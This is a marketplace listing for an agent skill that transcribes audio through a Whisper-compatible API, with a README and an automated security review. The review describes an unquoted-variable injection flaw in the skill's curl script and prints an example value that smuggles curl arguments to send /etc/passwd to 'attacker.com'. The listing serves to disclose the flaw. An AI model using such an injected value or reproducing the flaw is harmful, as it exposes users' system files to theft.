← Back to Skills Marketplace
nw15d

ANY WHISPER API

by Neow15ard · GitHub ↗ · v1.3.0
cross-platform ⚠ suspicious
514
Downloads
2
Stars
0
Active Installs
3
Versions
Install in OpenClaw
/install any-whisper-api
Description
Transcribe audio via API Whisper with any compatible local servers.
README (SKILL.md)

OpenAI Whisper API (curl)

Transcribe an audio file via OpenAI’s /v1/audio/transcriptions endpoint.

Quick start

{baseDir}/scripts/transcribe.sh /path/to/audio.m4a

Defaults:

  • Model: whisper-1
  • Output: \x3Cinput>.txt

Whisper.cpp example

/ai/whisper.cpp/build/bin/whisper-server -m /ai/models/whisper/ggml-large-v3-turbo-q8_0.bin --host 192.168.0.55 --port 5005 -sow --vad --vad-model /ai/models/whisper/ggml-silero-v6.2.0.bin --inference-path /v1/audio/transcriptions

Useful flags

{baseDir}/scripts/transcribe.sh /path/to/audio.ogg --model whisper-1 --out /tmp/transcript.txt
{baseDir}/scripts/transcribe.sh /path/to/audio.m4a --language en
{baseDir}/scripts/transcribe.sh /path/to/audio.m4a --prompt "Speaker names: Peter, Daniel"
{baseDir}/scripts/transcribe.sh /path/to/audio.m4a --json --out /tmp/transcript.json

API key

Set WHISPER_API_KEY and WHISPER_API_HOST, or configure it in ~/.clawdbot/clawdbot.json:

{
  skills: {
    "openai-whisper-api": {
      apiKey: "WHISPER_API_KEY_HERE",
      apiHost: "WHISPER_API_HOST_HERE"
    }
  }
}
Usage Guidance
This script will upload whatever audio file you give it to the host in WHISPER_API_HOST using the token in WHISPER_API_KEY. Before using: (1) verify WHISPER_API_HOST is a trusted endpoint (a local whisper server or the official API) — a malicious host could capture your audio; (2) keep WHISPER_API_KEY secret; (3) note the transcript is written to disk at the output path (default: <input>.txt) so handle that file appropriately; (4) the SKILL.md config example references "openai-whisper-api" (likely copy/paste) — that’s a naming inconsistency but not a functional issue. If you plan to point to an unauthenticated local server, you can still set WHISPER_API_HOST but the script currently requires an API key even if the server doesn’t need one.
Capability Analysis
Type: OpenClaw Skill Name: any-whisper-api Version: 1.3.0 The `scripts/transcribe.sh` file contains a shell injection vulnerability. The `WHISPER_API_HOST` environment variable is directly interpolated into the `curl` command without proper quoting or sanitization. An attacker who can control this environment variable could inject arbitrary `curl` arguments, potentially leading to data exfiltration (e.g., `WHISPER_API_HOST="attacker.com --data-binary @/etc/passwd"`) or other unauthorized actions.
Capability Assessment
Purpose & Capability
Name/description, required binary (curl), and required env vars (WHISPER_API_KEY, WHISPER_API_HOST) align with the stated purpose of sending audio to a Whisper-compatible API for transcription.
Instruction Scope
SKILL.md and scripts/transcribe.sh are narrowly scoped: they read a local audio file, require the API key/host, POST the file to /v1/audio/transcriptions, and write the transcript to disk. Note: the script will send the audio to whatever WHISPER_API_HOST is set to (defaulting to api.openai.com), so the host must be trusted.
Install Mechanism
No install spec (instruction-only plus a small shell script). Nothing is downloaded or written during install — lowest-risk install pattern.
Credentials
Requested environment variables are appropriate for this task. Minor quibble: requiring WHISPER_API_KEY for a local, unauthenticated Whisper server is unnecessary but not dangerous. Ensure the provided WHISPER_API_HOST and WHISPER_API_KEY are correct and trusted because sensitive audio will be transmitted to that endpoint.
Persistence & Privilege
always:false and no special persistence or cross-skill config modifications. The skill does not request elevated or persistent platform privileges.
How to Use
  1. Make sure OpenClaw is installed (local or Docker)
  2. Run the install command in chat: /install any-whisper-api
  3. After installation, invoke the skill by name or use /any-whisper-api
  4. Provide required inputs per the skill's parameter spec and get structured output
Version History
v1.3.0
Version 1.3.0 - Added an example command for running a compatible Whisper.cpp server, showing configuration for integration with this skill.
v1.2.0
- Renamed skill to "any-whisper-api" and updated references accordingly. - Fixed environment variable requirements to include both WHISPER_API_KEY and WHISPER_API_HOST. -USE wisper.cpp with --inference-path /v1/audio/transcriptions
v1.1.0
- Initial release of the openai-whisper-api skill. - Transcribe audio files via compatible OpenAI Whisper API endpoints using curl scripts. - Supports model selection, output format (.txt/.json), language specification, and custom prompts. - Requires setting WHISPER_API_KEY and WHISPER_API_HOST environment variables. - Simple command-line interface for fast audio transcription.
Metadata
Slug any-whisper-api
Version 1.3.0
License
All-time Installs 0
Active Installs 0
Total Versions 3
Frequently Asked Questions

What is ANY WHISPER API?

Transcribe audio via API Whisper with any compatible local servers. It is an AI Agent Skill for Claude Code / OpenClaw, with 514 downloads so far.

How do I install ANY WHISPER API?

Run "/install any-whisper-api" in the OpenClaw or Claude Code chat to install it in one step — no extra setup required.

Is ANY WHISPER API free?

Yes, ANY WHISPER API is completely free (open-source). You can download, install and use it at no cost.

Which platforms does ANY WHISPER API support?

ANY WHISPER API is cross-platform and runs anywhere OpenClaw / Claude Code is available (cross-platform).

Who created ANY WHISPER API?

It is built and maintained by Neow15ard (@nw15d); the current version is v1.3.0.

💬 Comments